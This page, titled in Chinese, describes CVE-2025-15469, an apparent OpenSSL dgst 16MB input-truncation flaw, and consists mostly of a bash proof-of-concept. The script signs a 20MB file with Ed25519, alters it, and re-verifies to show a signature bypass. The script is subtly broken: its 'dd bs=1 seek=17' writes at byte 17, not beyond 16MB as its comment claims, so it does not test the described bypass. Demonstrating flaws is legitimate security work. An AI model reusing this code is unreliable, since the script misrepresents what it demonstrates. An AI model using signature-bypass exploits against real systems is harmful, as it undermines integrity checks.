CVE-2025-15469 OpenSSL dgst命令16MB输入截断漏洞

#!/bin/bash # CVE-2025-15469 PoC - OpenSSL dgst 16MB Input Truncation # This PoC demonstrates that files larger than 16MB can be modified # without detection when signed and verified with affected openssl dgst # Create a test file larger than 16MB dd if=/dev/urandom of=test_file.bin bs=1M count=20 2>/dev/null # Generate Ed25519 keypair openssl genpkey -algorithm Ed25519 -out private_key.pem 2>/dev/null openssl pkey -in private_key.pem -pubout -out public_key.pem 2>/dev/null # Sign the file (openssl dgst will silently truncate to 16MB) echo "Signing file with Ed25519 (file is 20MB, will be truncated to 16MB)..." openssl dgst -sha512 -sign private_key.pem -out signature.bin test_file.bin # Modify the file beyond 16MB boundary echo "Modifying data beyond 16MB boundary..." echo "MODIFIED_DATA" | dd of=test_file.bin bs=1 seek=17 conv=notrunc 2>/dev/null # Verify signature (will incorrectly report success) echo "Verifying modified file..." openssl dgst -sha512 -verify public_key.pem -signature signature.bin test_file.bin # Cleanup rm -f test_file.bin private_key.pem public_key.pem signature.bin echo "" echo "Expected behavior: Verification should FAIL but may show SUCCESS due to truncation vulnerability"